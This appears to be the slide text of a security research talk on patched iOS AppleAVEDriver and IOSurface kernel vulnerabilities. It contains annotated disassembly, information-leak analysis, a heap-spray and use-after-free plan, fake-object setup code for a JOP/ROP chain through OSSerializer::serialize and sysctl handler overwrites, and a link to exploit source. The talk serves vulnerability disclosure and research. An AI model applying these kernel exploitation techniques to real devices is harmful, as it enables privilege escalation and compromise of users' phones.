Ro(o)ttten Apples
Adam Donenfeld
Agenda

Review of neglected attack surfaces
  Past vs the Future

Vulnerabilities
  New iOS vulnerabilities

Exploitation
  New techniques as well

Jailbreak
  WEN ETA PLZ

Conclusions
  And Q&A
• Security researcher
  • Profoundly iOS and Android
  • Vulnerability assessment
  • Vulnerability Exploitation & weaponization
  • Senior Security Researcher at Zimperium zLabs
  • Lives in Amsterdam
• Ik heb al Duits geleerd. Nu ik leer Nederlands 😊

Special thanks to Zuk Avraham (@ihackbanme) and Yaniv Karta (@shokoluv)
Agenda

Review of neglected attack surfaces
   Past vs the Future

Vulnerabilities
   New iOS vulnerabilities

Exploitation
   New techniques as well

Jailbreak
   WEN ETA PLZ

Conclusions
   And Q&A
Attack surfaces

Common attack surfaces in iOS

- Syscalls (Mach and FreeBSD)
- MIG
- IOKit
IOKit

IOKit in 60 seconds

• Apple’s collection of resources and tools for creating drivers for XNU
• Writing drivers in C++
• Complex layering of client and provider objects (IOUserClient & IOService)
• Tons of families for developers to build upon

Geekable
@geekable

I have to agree, it’s super-well-designed for facilitating kernel exploitation

Chris Hanson @eschaton

IOKit is really the unsung hero of the Darwin platforms. It’s so well designed compared to every other driver architecture I’ve ever seen.
* Jonathan Levin’s “*OS Internals: Volume III (Security & Insecurity) covers all modern jailbreaks to date, with full walkthroughs of vulnerabilities AND exploit techniques.
IOKit
Why do hackers love it?

• A lot of drivers
  • Increases the attack surface

• Object Orientation
  • vtables (= overridable function pointers in kernel space)

• Open sources for families
  • Code automatically inherited by all members of family, on all platforms

• Lack of sources
  • Less auditing eyes ;(
kern_return_t get_iokit_connection(io_connect_t * conn_out, const char * target_name) {
    kern_return_t ret = KERN_SUCCESS;
    io_connect_t connection = 0;
    mach_port_t master_port = 0;
    io_iterator_t itr = 0;
    io_service_t service = 0;
    io_name_t service_name;

    ret = host_get_io_master(mach_host_self(), &master_port);
    ret = IOServiceGetMatchingServices(master_port,
        IOServiceMatching("IOService"), &itr);

    while(IOIteratorIsValid(itr) & (service = IOIteratorNext(itr))) {
        ret = IORegistryEntryGetName(service, service_name);
        if (strcmp(service_name, target_name))
            continue;

        ret = IOServiceOpen(service, mach_task_self(), 0, conn_out);
        break;
    }

    return ret;
}
IOKit drivers expose “external methods” for user-mode.

- Called from user-mode using `IOConnectCallMethod`
- Drivers must overwrite the “`externalMethod`” function
- Communication is done over mach messages
  - `IOConnectCallMethod` calls ultimately `mach_msg`
• IOKit drivers expose “external methods” for user-mode.
  • Drivers must overwrite the “externalMethod” function
    • ‘selector’ is the ID of the exposed function in the specific driver
    • ‘args’ contains all the input from user and output back to user

```c
IOReturn IOUserClient::externalMethod( uint32_t selector, IOExternalMethodArguments * args,
        IOExternalMethodDispatch * dispatch, OSObject * target, void * reference );
```
const IOExternalMethodDispatch MyUserClient::s_methods[EXTERNAL_METHOD_COUNT] = {
    {(IOExternalMethodAction)&MyUserClient::s_open, 0, 8, 0, 4},
    {(IOExternalMethodAction)&MyUserClient::s_close, 0, 0, 0, 0},
    {(IOExternalMethodAction)&MyUserClient::s_put_num, 1, 0, 0, 0},
    {(IOExternalMethodAction)&MyUserClient::s_get_num, 0, 0, 1, 0},
};

IOReturn MyUserClient::externalMethod(uint32_t selector, IOExternalMethodArguments *args, IOExternalMethodDispatch *dispatch, OSObject *target, void *ref)
{
    /* Make sure the user asked for an appropriate external function */
    if (selector >= EXTERNAL_METHOD_COUNT) {
        return kIOReturnUnsupported;
    }

    /* Fetch external func according to user-provided id */
    dispatch = (IOExternalMethodDispatch*)&s_methods[selector];
    target = _owner;
    ref = nullptr;

    return super::externalMethod(selector, args, dispatch, target, ref);
}
```c
io_connect_t apple_ave_conn = 0;
if (KERN_SUCCESS != get_iokit_connection(&apple_ave_conn, "AppleAVEDriver"))
  goto err;
char input_struct[8] = {0};
char output_struct[4] = {0};
size_t osize = 4;
ret = IOConnectCallMethod(apple_ave_conn, 0, NULL, 0, input_struct, 8, NULL, 0, output_struct, &osize);
```
const IOExternalMethodDispatch MyUserClient::s_methods[EXTERNAL_METHOD_COUNT] = {
    {(IOExternalMethodAction)&MyUserClient::s_open, 0, 8, 0, 4},
    {(IOExternalMethodAction)&MyUserClient::s_close, 0, 0, 0, 0},
    {(IOExternalMethodAction)&MyUserClient::s_put_num, 1, 0, 0, 0},
    {(IOExternalMethodAction)&MyUserClient::s_get_num, 0, 0, 1, 0},
};

IOReturn MyUserClient::externalMethod(uint32_t selector, IOExternalMethodArguments *args, IOExternalMethodDispatch *dispatch, OSObject *target, void *ref)
{
    /* Make sure the user asked for an appropriate external function */
    if (selector >= EXTERNAL_METHOD_COUNT) {
        return kIOReturnUnsupported;
    }

    /* Fetch external func according to user-provided id */
    dispatch = (IOExternalMethodDispatch*)&s_methods[selector];
    target = this;
    ref = nullptr;

    return super::externalMethod(selector, args, dispatch, target, ref);
}
IOKit
Usermode to Kernel communication

Usermode
- IOConnectCallMethod
- io_connect_method

Kernelmode
- _Xio_connect_method
- is_io_connect_method
- IOUserClient->externalMethod

MIG
AppleAVE2_external_methods_table

- **DCQ AppleAVE2_external_method_add_client**
  - DCD 0; number of uint64_t scalars as input
  - DCD 8; structure input size
  - DCD 0; number of uint64_t scalars as output
  - DCD 4; structure output size

- **DCQ AppleAVE2_external_method_remove_client**
  - DCD 0; number of uint64_t scalars as input
  - DCD 4; structure input size
  - DCD 0; number of uint64_t scalars as output
  - DCD 4; structure output size

- **DCQ AppleAVE2_external_method_setCallback**
  - DCD 0; number of uint64_t scalars as input
  - DCD 0x10; structure input size
  - DCD 0; number of uint64_t scalars as output
  - DCD 4; structure output size

- **DCQ AppleAVE2_external_method_setSessionSettings**
  - DCD 0; number of uint64_t scalars as input
  - DCD 0x470; structure input size
  - DCD 0; number of uint64_t scalars as output
  - DCD 0x2E0; structure output size
Agenda

- Review of neglected attack surfaces
  - Past vs the Future

- Vulnerabilities
  - New iOS vulnerabilities

- Exploitation
  - New techniques as well

- Jailbreak
  - WEN ETA PLZ

- Conclusions
  - And Q&A
Vulnerabilities
Summary of the research

- IOSurface
  - CVE-2017-6979
- AppleAVEDriver
  - CVE-2017-6989
  - CVE-2017-6994
  - CVE-2017-6995
  - CVE-2017-6996
  - CVE-2017-6997
  - CVE-2017-6998
  - CVE-2017-6999
• Share hardware-accelerated data (or practically just data) across multiple processes.

• Shares data with IOMemoryDescriptor (mapping instead of sending between processes)

• Surfaces are identified by an ID
AppleAVEDriver
Who are you?

- Responsible for hardware-accelerated video encoding in iOS
- No information on the internet
- No sources 😞
AppleAVEDriver

Who are you?

AppleAVE2 External Methods Table

AppleAVE2_external_methods_table   DCQ    AppleAVE2_external_method_add_client
DCD 0
DCD 8
DCD 0
DCD 4
DCQ AppleAVE2_external_method_remove_client
DCD 0
DCD 4
DCD 0
DCD 4
DCQ AppleAVE2_external_method_setCallback
DCD 0
DCD 0x10
DCD 0
DCD 4
DCQ AppleAVE2_external_method_setSessionSettings
...
DCQ AppleAVE2_external_method_FFFFFFF006B9DF4L
...
DCQ AppleAVE2_external_method_FFFFFFF006B9FE80L
...
DCQ AppleAVE2_external_method_FFFFFFF006B9F0CL
...
DCQ AppleAVE2_external_method_FFFFFFF006B9FA0CL
...
DCQ AppleAVE2_external_method_FFFFFFF006B9FFF0L
...
; ends
AppleAVEDriver

Who are you?

DCQ AppleAVE2_external_method_setSessionSettings
DCD 0
DCD 0x470 ; structure input size
DCD 0
DCD 0x2E0 ; structure output size
Who are you?

AppleAVE2_external_method_setSessionSettings

LDR  X1, [X2,#0x30] ; user controlled input
LDR  X2, [X2,#0x58] ; output sent to user
B   sub_FFFFFFFF006B9F678 ; Branch
AppleAVEDriver
Love at first sight

sub_FFFFFFF006B9F678
STP  X28, X27, [SP,#-0x10+var_50]! ; Store Pair
... ; Setup function prologue... not really interesting
MOV  X19, X1 ; Rd = Op2
MOV  X20, X0 ; Rd = Op2
... ; Check that surface IDs are not NULL.
LDR  X8, [X19,#0x178] ; Fetch something from user input
CBNZ X8, dont_fetch_iosurface ; If supplied, avoid IOSurface fetch
LDR  X0, [X20,#0xD8] ; provider (AppleAVE2Driver)
LDR  W1, [X19,#4] ; Get IOSurface ID
LDR  X2, [X20,#0xE8] ; AppleAVE2UserClient - task_owner
BL   get_iosurface ; Branch with Link
Put IOSurface kernel address into user input buffer???
STR  X0, [X19,#0x178] ; Store to Memory
CBZ  X0, graceful_exit ; Compare and Branch on Zero
dont_fetch_iosurface
LDR  W1, [X19,#8] ; a2
AppleAVEDriver
What the hell just happened

• Supply any kernel address (NO limitations!!)

• If supplied, use it as an IOSurface object

• If wasn’t supplied, just check if the ID is valid (normal way)

• How does AppleAVEDriver expect user-mode to have kernel pointers?
AppleAVEDriver

Heap info leak

• AppleAVEDriver probably gives away IOSurface addresses...

• Selector #7
AppleAVEDriver

Heap info leak

X20 = input from user; X22 = output to user

```
CBZ X0, loc_FFFFFFFF006B9FD4C ; Compare and Branch on Zero
LDR X0, [X21,#0xD8] ; provider (AppleAVEDriver)
LDR W1, [X20,#0xC] ; IOSurface ID
LDR X2, [X21,#0xE8] ; UserClient->task_owner
BL get_iosurface ; Branch with Link
STR X0, [X20,#0x188] ; Store IOSurface address in input buffer
CBZ X0, loc_FFFFFFFF006B9FD68 ; Compare and Branch on Zero

LDR X9, [X20,#0x188] ; Load surface kernel pointer
STR X9, [X22] ; Put in output back for usermode
LDR X9, [X20,#0x198] ; Load surface kernel pointer
STR X9, [X22,#0x8] ; Put in output back for usermode
LDR X9, [X20,#0x190] ; Load surface kernel pointer
STR X9, [X22,#0x10] ; Put in output back for usermode
ADD X9, X20, #0x3E8 ; Rd = Op1 + Op2
```
AppleAVEDriver
What do we have so far?

✓ Kernel code execution hijack (Give arbitrary IOSurface address)
✓ Heap info leak (IOSurface address leak)
  ✓ Necessary SMAP bypass

▪ Kernel base info leak
AppleAVEDriver
Base kernel leak

- Almost all external functions lead to the same function
AppleAVEDriver

Base kernel leak

- Almost all external functions lead to the same function
signed __int64 __fastcall main_apple_ave_logic_

main_apple_ave_logic_

STP             X28, X27, [SP,#-0x10+var_50]! ; Store Pair
STP             X26, X25, [SP,#0x50+var_40] ; Store Pair
STP             X24, X23, [SP,#0x50+var_30] ; Store Pair
STP             X22, X21, [SP,#0x50+var_20] ; Store Pair
STP             X20, X19, [SP,#0x50+var_10] ; Store Pair
STP             X29, X30, [SP,#0x50+var_s0] ; Store Pair
ADD             X29, SP, #0x50 ; Rd = Op1 + Op2
SUB             SP, SP, #0x20 ; Rd = Op1 - Op2
MOV             X25, X3 ; our previous input buffer
MOV             X21, X2 ; unk? some counter?
MOV             X22, X1 ; AppleAVE2UserClient
MOV             X20, X0 ; AppleAVE2Driver
AppleAVEDriver

Main logic

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LDR</td>
<td>X1, [X25,#0x180] ; surface_object</td>
</tr>
<tr>
<td>LDR</td>
<td>X2, [X20,#0xF0] ; surface_root</td>
</tr>
<tr>
<td>LDP</td>
<td>X3, X4, [X20,#0x88] ; Load Pair</td>
</tr>
<tr>
<td>LDR</td>
<td>W8, [X20,#0x120] ; Load from Memory</td>
</tr>
<tr>
<td>LDRB</td>
<td>W9, [X20,#0x180] ; Load from Memory</td>
</tr>
<tr>
<td>MOV</td>
<td>W6, #0  ; a7</td>
</tr>
<tr>
<td>MOV</td>
<td>W7, #0  ; a8</td>
</tr>
<tr>
<td>STRB</td>
<td>W9, [SP,#0x70+a13] ; a13</td>
</tr>
<tr>
<td>ADRP</td>
<td>X9, #aInitinfo@PAGE ; &quot;InitInfo&quot;</td>
</tr>
<tr>
<td>ADD</td>
<td>X9, X9, #aInitinfo@PAGEOFF ; &quot;InitInfo&quot;</td>
</tr>
<tr>
<td>STR</td>
<td>X9, [SP,#0x70+a12] ; a12</td>
</tr>
<tr>
<td>STR</td>
<td>W8, [SP,#0x70+a9+4] ; a11</td>
</tr>
<tr>
<td>STRB</td>
<td>WZr, [SP,#0x70+a9+1] ; a10</td>
</tr>
<tr>
<td>STRB</td>
<td>WZr, [SP,#0x70+a9] ; a9</td>
</tr>
<tr>
<td>MOV</td>
<td>W5, #1  ; a6</td>
</tr>
<tr>
<td>MOV</td>
<td>X0, X23 ; unk</td>
</tr>
<tr>
<td>BL</td>
<td>CreateBufferFromIOSurface ; Branch with Link</td>
</tr>
<tr>
<td>LDR</td>
<td>X26, [X23,#0x40] ; X26 = kernel address of mapped data</td>
</tr>
</tbody>
</table>
AppleAVEDriver

Main logic

- Transferring meta-information with IOSurface mapping??
  - Usermode can modify that data while the kernel uses it...
AppleAVEDriver
Main logic

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BL</td>
<td>Branch with Link to get_kernel_address_of_mapped_surface_data</td>
</tr>
<tr>
<td>MOV</td>
<td>X23, X0 ; Rd = Op2</td>
</tr>
<tr>
<td>CBZ</td>
<td>X23, no_mapped_kernel_address ; Compare and Branch on Zero</td>
</tr>
<tr>
<td>LDR</td>
<td>W8, [X23,#0x10] ; Get surface's mapped data info type</td>
</tr>
<tr>
<td>MOV</td>
<td>W9, #0xFFFFBA99 ; Lowest info type 'Eg'</td>
</tr>
<tr>
<td>ADD</td>
<td>W9, W8, W9 ; Rd = Op1 + Op2</td>
</tr>
<tr>
<td>CMP</td>
<td>W9, #4 ; switch 5 cases</td>
</tr>
<tr>
<td>B.HI</td>
<td>def_FFFFFFF0066A3674 ; jumptable FFFFFFFF0066A3614 default case</td>
</tr>
<tr>
<td>ADRP</td>
<td>X10, #jpt_FFFFFFF0066A3614@PAGE ; Address of Page</td>
</tr>
<tr>
<td>ADD</td>
<td>X10, X10, #jpt_FFFFFFF0066A3614@PAGEOFF ; Rd = Op1 + Op2</td>
</tr>
<tr>
<td>LDRSW</td>
<td>X9, [X10,X9,LSL#2] ; Load from Memory</td>
</tr>
<tr>
<td>ADD</td>
<td>X9, X9, X10 ; Rd = Op1 + Op2</td>
</tr>
<tr>
<td>BR</td>
<td>X9 ; switch jump</td>
</tr>
</tbody>
</table>

- Does stuff according to user-provided info type
- Most of them jump to the same place
AppleAVEDriver

Main logic

• Fast forwarding for brevity, but...

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LDR</td>
<td>X0, [X23,#0x16B0] ; Load from mapped IOSurface buffer</td>
</tr>
<tr>
<td>CBNZ</td>
<td>X0, mem_info_not_null ; Compare and Branch on Non-Zero</td>
</tr>
<tr>
<td>MOV</td>
<td>W0, #0x28 ; Rd = Op2</td>
</tr>
<tr>
<td>BL</td>
<td>IOMalloc ; Branch with Link</td>
</tr>
<tr>
<td>STR</td>
<td>X0, [X23,#0x16B0] ; Store to Memory</td>
</tr>
<tr>
<td>CBZ</td>
<td>X0, mem_info_alloc_fail ; Compare and Branch on Zero</td>
</tr>
</tbody>
</table>

mem_info_not_null

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>MOV</td>
<td>W2, #0x28 ; Rd = Op2</td>
</tr>
<tr>
<td>MOV</td>
<td>W1, #0 ; Rd = Op2</td>
</tr>
<tr>
<td>BL</td>
<td>memset ; X0 can be completely usermode-controlled</td>
</tr>
</tbody>
</table>
AppleAVEDriver

Main logic

- Calls function “MapYUVInputFromCSID” (according to logs)
- Map something from our controlled data?

```
LDR  X3, [X25,#8] ; Load IOSurface ptr
STR  X3, [X23,#0x28] ; Store IOSurface ptr in mapped data
LDR  X8, [X25,#0x18] ; Load another IOSurface ptr
STR  X8, [X23,#0x418] ; Store other IOSurface ptr into mapped data
LDR  X2, [X23,#0x16B0] ; Load the memsetted address
LDR  W6, [X23,#0x14] ; Load controllable uint32_t
MOV  W8, #0x5758 ; Rd = Op2
LDRB W7, [X19,X8] ; Load from Memory
MOV  W4, #0 ; Rd = Op2
ADRP X5, #aInputyuv@PAGE ; "inputYUV"
ADD  X5, X5, #aInputyuv@PAGEOFF ; "inputYUV"
MOV  X0, X20 ; AppleAVEDriver
MOV  X1, X19 ; Some IOSurface stuff copied to stack
BL   MapYUVInputFromCSID ; Branch with Link
```
buffer_mgr_mem = operator new(0x70LL);
IOSurfaceBufferMgr = initialize_IOSurfaceBufferMgr(
    buffer_mgr_mem,
    driver->mmu_manager,
    driver);
*controllable_pointer = (__int64)IOSurfaceBufferMgr;
any_address_we_want = *controllable_pointer;
controllable_pointer[1] = *(_QWORD *)any_address_we_want + 0x38;
controllable_pointer[2] = *(_QWORD *)any_address_we_want + 0x40;
checked_qword = *(_QWORD *)any_address_we_want + 0x50;
controllable_pointer[3] = v26;
if ( (checked_qword >> 0x20) & 0xFFFFFFFF )
{
    goto panic;
}
*((_DWORD *)controllable_pointer + 8) = *(_DWORD *)any_address_we_want + 0x18;
AppleAVEDriver

So we got an info leak?

• To leak the content of address X, at least one of the following must be true:
  • *(X + 0x18) == NULL
  • *(X + 0x1C) == NULL
  • *(X + 0x3C) == NULL (but then we leak only 4 bytes)

• And of course, X is a valid kernel address.
Agenda

Review of neglected attack surfaces
  Past vs the Future

Vulnerabilities
  New iOS vulnerabilities

Exploitation
  New techniques as well

Jailbreak
  WEN ETA PLZ

Conclusions
  And Q&A
Exploitation

Main plan

• Create an IOSurface object
• Leak the surface’s kernel heap address
  • Using the info leak vulnerability – IOSurfaceID to IOSurface kernel ptr
• Leak IOSurface’s vtable with the other info leak for ASLR calculation
• Free the surface and respray its location with something else
• Give the kernel the same heap address of our freed IOSurface
  • Different content this time, because we sprayed our data.
• Hijack kernel execution with JOP and get RW
To leak the content of address X, at least one of the following must be true:

- \( *(X + 0x18) == \text{NULL} \)
- \( *(X + 0x1C) == \text{NULL} \)
- \( *(X + 0x3C) == \text{NULL} \) (but then we leak only 4 bytes)

And of course, X is a valid kernel address.
Exploitation

Kernel base

• Leak a constant address (like a vtable) and reveal ASLR slide
• We have the kernel address of IOSurface thanks to the heap info leak...
### Exploitation

#### Kernel base

```
<table>
<thead>
<tr>
<th>Address</th>
<th>Symbol</th>
<th>Type</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000000000</td>
<td>vtable</td>
<td>DCQ ?</td>
<td>; offset</td>
</tr>
<tr>
<td>0000000008</td>
<td>refcount</td>
<td>DCD ?</td>
<td></td>
</tr>
<tr>
<td>000000000C</td>
<td>field_c</td>
<td>DCD ?</td>
<td></td>
</tr>
<tr>
<td>0000000010</td>
<td>field_10</td>
<td>DCQ ?</td>
<td>; offset</td>
</tr>
<tr>
<td>0000000018</td>
<td>prev_surface_ptr</td>
<td>DCQ ?</td>
<td>; Never NULL</td>
</tr>
<tr>
<td>0000000020</td>
<td>field_20</td>
<td>DCB ?</td>
<td></td>
</tr>
<tr>
<td>0000000021</td>
<td>field_21</td>
<td>DCB ?</td>
<td></td>
</tr>
<tr>
<td>0000000022</td>
<td>field_22</td>
<td>DCB ?</td>
<td></td>
</tr>
<tr>
<td>0000000023</td>
<td>field_23</td>
<td>DCB ?</td>
<td></td>
</tr>
<tr>
<td>0000000024</td>
<td>field_24</td>
<td>DCB ?</td>
<td></td>
</tr>
<tr>
<td>0000000025</td>
<td>field_25</td>
<td>DCB ?</td>
<td></td>
</tr>
<tr>
<td>0000000026</td>
<td>field_26</td>
<td>DCB ?</td>
<td></td>
</tr>
<tr>
<td>0000000027</td>
<td>field_27</td>
<td>DCB ?</td>
<td></td>
</tr>
<tr>
<td>0000000028</td>
<td>provider</td>
<td>DCQ ?</td>
<td>; Never NULL</td>
</tr>
<tr>
<td>0000000030</td>
<td>current_memory_region</td>
<td>DCQ ?</td>
<td>; Never NULL</td>
</tr>
<tr>
<td>0000000038</td>
<td>memory_descriptor</td>
<td>DCQ ?</td>
<td>; Never NULL</td>
</tr>
</tbody>
</table>
```
Exploitation

In IOSurface we trust

IOSurface is a big object
Exploitation

Kernel base

• IOSurface creates an “IOFence” object

• A synchronization object that is used by IOSurface.
Exploitation
Kernel base

• IOSurface
• And *A LOT* of bulk controlled data afterwards

00000210 fence_current_queue DCQ ? ; Points to an "IOFence" object
00000218 fence_current_queue_tail DCQ ? ; offset
00000220 fence_waiting_queue DCQ ? ; Points to an "IOFence" object
00000228 fence_waiting_queue_tail DCQ ? ; offset
00000230 fence_allow_tearing DCB ?
00000231 field_0x231 DCB ?
00000232 field_0x232 DCB ?
00000233 field_0x233 DCB ?
00000234 bulk0 (null) ? ; All bulks are user read-writable
00000244 bulk1 (null) ?
00000254 bulk2 (null) ?
00000264 bulk3 DCQ ? ; offset
0000026C bulk4 DCB ?
0000026D bulk5 DCB ?
0000026E YcbCr_matrix_also DCB ?
0000026F bulk6 DCB ?
00000270 bulk7 DCB ?
00000271 bulk8 DCB ?
00000272 bulk9 DCB ?
00000273 bulk10 DCB ?
<table>
<thead>
<tr>
<th>Offset</th>
<th>Address</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>vtable</td>
<td>DCQ</td>
<td></td>
</tr>
<tr>
<td>00000008</td>
<td>field_0x8</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>00000009</td>
<td>field_0x9</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000000A0</td>
<td>field_0xa</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000000B0</td>
<td>field_0xb</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000000C0</td>
<td>field_0xc</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000000D0</td>
<td>field_0xd</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000000E0</td>
<td>field_0xe</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000000F0</td>
<td>field_0xf</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>00000100</td>
<td>surface</td>
<td>DCQ</td>
<td>; offset</td>
</tr>
<tr>
<td>00000180</td>
<td>accelerator</td>
<td>DCD</td>
<td></td>
</tr>
<tr>
<td>000001C0</td>
<td>direction</td>
<td>DCD</td>
<td></td>
</tr>
<tr>
<td>00000200</td>
<td>callback</td>
<td>DCQ</td>
<td>; offset</td>
</tr>
<tr>
<td>00000280</td>
<td>target</td>
<td>DCQ</td>
<td>; offset</td>
</tr>
<tr>
<td>00000300</td>
<td>ref</td>
<td>DCQ</td>
<td>; offset</td>
</tr>
<tr>
<td>00000380</td>
<td>field_0x38</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>00000390</td>
<td>field_0x39</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000003A0</td>
<td>field_0x3a</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000003B0</td>
<td>field_0x3b</td>
<td>DCB</td>
<td></td>
</tr>
<tr>
<td>000003C0</td>
<td>completed</td>
<td>DCD</td>
<td>; 0 if in a surface queue</td>
</tr>
</tbody>
</table>
Exploitation

IOFence is IOSurface’s best friend

• We can leak IOFence’s vtable!

• And calculate the ASLR slide! 😊
Exploitation

Main plan

• Create an IOSurface object
• Leak the surface’s kernel heap address
  • Using the info leak vulnerability – IOSurfaceID to IOSurface kernel ptr
• Leak the IOFence queue for the IOFence’s vtable
  • ASLR slide is calculated
• Free the surface and respray its location with something else
• Give the kernel the same heap address of our freed IOSurface
  • Different content this time, because we sprayed our data.
• Hijack kernel execution with JOP and get RW
Exploitation

Heap spray

• Finding the best OSUnserializeXML case:
  • Persistent in heap
  • No limitations on sprayed data
  • No limitation on how many objects we can spray
Exploitation

Heap spray

- IOSurface comes to the rescue!
- Selectors 9
Exploitation

Heap spray

iOSurfaceRootUserClient::set_value
{
    user_array = (OSArray *)OSUnserializeXML(
        input_buffer + 8,
        &input_buffer[input_buffer_size] - (input_buffer + 8),
        0LL);

    ...

    val = user_array->getObject(0);
    key = user_array->getObject((OSArray *)user_array_2, 1u);
    IOSurfaceClient::setValue(surface_client, key_string, val, output_buffer)

    ...
}
bool IOSurface::setValue(IOSurface *self, OSSymbol *key, void *val, void *output)
{
    if (surface->all_properties ||
        (IOSurface::init_all_properties(surface) && surface->all_properties))
    {
        ...
        if (!key->isEqualTo("CreationProperties"))
        {
            /* Store user controlled OSData into a user controlled OSStrong key */
            ret = surface->all_properties->setObject(surface->all_properties,
                                                  key,
                                                  val);
        }
        ...
    }
    else
    {
        ret = 0;
    }
    return ret;
}
Exploitation

Heap spray

• Persistent in memory
• No limitation on sprayed data
• No limitation on amount of sprayed objects
• Is that everything?
Exploitation

Heap spray

- IOSurface ultimate spray
- Selector 10
bool IOSurfaceRootUserClient::get_value
{
  value = (OSData *)IOSurfaceClient::copyValue(surface_client, key,
  (size_t)(output_buffer_1 + 4));
  if (value)
  {
    osserializer = (OSSerialize *)OSSerialize::binaryWithCapacity(...);
    if (osserializer)
    {
      if ((value->serialize(osserializer))
      {
        binary_length = osserializer->getLength();
        binary_data = osserializer->text();
        memcpy(output_buffer, binary_data, binary_length);
      }
    }
  }
  ...
}
Exploitation
Heap spray

```cpp
OSMetaClassBase * IOSurface::copyValue
{
    all_properties = surface->all_properties;
    val = (OSMetaClassBase *)all_properties->getObject(key);
    ...
    return ret;
}
```
Exploitation

Heap spray

- Persistent in memory
- No limitation on sprayed data
- No limitation on amount of sprayed objects
- Is that everything?
- Allows re-reading the sprayed object
Exploitation
Hijacking kernel execution

• Goals:
  • Arbitrary kernel read
  • Arbitrary kernel write
  • Arbitrary kernel ROP

• Whenever we want, deterministically
Exploitation
Hijacking kernel execution

• Current primitive:
  • `our_fake_object->any_address_we_want(our_fake_object);`

• Gadgets?
OSSerializer::serialize(OSSerialize *) const

MOV             X8, X1                  ; Rd = Op2
We completely control X0
LDP             X1, X3, [X0,#0x18]    ; Load Pair
LDR             X9, [X0,#0x10]         ; Load from Memory
MOV             X0, X9                 ; Rd = Op2
MOV             X2, X8                 ; Rd = Op2
Jump to any function we want
While controlling the first 2 params
BR              X3                      ; Branch To Register
Exploitation

/* OSSerializer::serialize(data + 0x234, SYSCTL_HANDLER_SIZE * 2) */
*(void**)(data + 0x10) = object_address + 0x234;
*(unsigned long*)(data + 0x18) = SYSCTL_HANDLER_SIZE * 2; /* third parameter for ROP chain */
*(void**)(data + 0x20) = offsets_get_kernel_base() + OFFSET(osserializer_serialize);

/* copyin(g_fake_sysctl_handlers, l1dcachesize_handler, SYSCTL_HANDLER_SIZE * 2) */
*(void**)(data + 0x234 + 0x10) = g_fake_sysctl_handlers; /* first parameter for ROP chain */
/* second parameter for ROP chain */
*(void**)(data + 0x234 + 0x18) = offsets_get_kernel_base() + OFFSET(l1dcachesize_handler);
*(void**)(data + 0x234 + 0x20) = offsets_get_kernel_base() + OFFSET(copyin);

YO DAWG, I HEARD U LIKE ROP

SO I PUT A ROP IN YOUR ROP
Exploitation
Hijacking kernel execution

• New primitive!
  • Any_kernel_function(any_arg0, any_arg1, any_arg2)

• Sufficient for a one-time copyin from user!

• What should we overwrite?
Exploitation

Hijacking kernel execution

• Sysctl are in the DATA section
  • AMCC\KPP don’t protect those 😊
  • For any sandbox profile, there’s almost always an accessible sysctl.
Exploitation

Hijacking kernel execution

• Goals:
  • Arbitrary kernel read
  • Arbitrary kernel write
  • Arbitrary kernel ROP

• Whenever we want, deterministically
Exploitation
Hijacking kernel execution

• Overwrite 2 sysctls
  • One to ROP to our sprayed data
  • Second one to modify our sprayed data
Exploitation
Hijacking kernel execution

OSSerializer::serialize gadget
Sysctl A

cpyin
Sysctl B

Our sprayed data
To ROP to any kernel function with controlled 3 params:

- Call `sysctl B` to modify our sprayed data with ROP data accordingly
- Call `sysctl A` to ROP with `OSSerializer::serialize` with our sprayed data
- PROFIT
Call OSSerializer::serialize again
Control 3 args

Control first 2 args

Copyin

Overwrite 2 following sysctls

OSSerializer::serializer

Our sprayed data
Call OSSerializer::serialize again

Control first 2 args

OSSerializer::serialize

Control 3 args

Sysctl B

Sysctl A

Modify sprayed data

copyin
Exploitation

Hijacking kernel execution

• We have arbitrary unlimited kernel ROP execution
• How to achieve arbitrary kernel RW?
• ROP to copyin and copyout!
Agenda

Review of neglected attack surfaces
   Past vs the Future

Vulnerabilities
   New iOS vulnerabilities

Exploitation
   New techniques as well

Jailbreak
   WEN ETA PLZ

Conclusions
   And Q&A
Jailbreak
Exploit source code

- [https://github.com/doadam/ziVA](https://github.com/doadam/ziVA)

- for educational purposes and evaluation by IT Administrators and Pentesters alike, and should not be used in any unintended way.
I never said anything about jailbreak. I'm releasing an exploit (source code + instructions). (1/2)
Jailbreak

Jailbreak project

- Kernel exploits are not the problem
- It’s Cydia that has to be rewritten
- Data only patches could still work, but likely need a “jailbreakd” daemon
  - Daemon would intercept process creation and inject libraries through task port.
  - Ian Beer’s Triple Fetch could be used as sandbox escape
    - Allows any process’s task port, including mediaserver, plus debugging
Agenda

Review of neglected attack surfaces
   Past vs the Future

Vulnerabilities
   New iOS vulnerabilities

Exploitation
   New techniques as well

Jailbreak
   WEN ETA PLZ

Conclusions
   And Q&A
Disclosure Timeline

- Vulnerability disclosure: 20th March, 2017
- Apple confirmed 1st bug: 29th March, 2017
- Patch distributed: 15th May, 2017
Conclusions

• Apple did amazing job last year
  • First company to introduce PAN
  • Enhanced security to heap

• Currently most secure mobile OS

• BUT! work still has to be done
THANK YOU

Time for non WEN-ETA questions ☺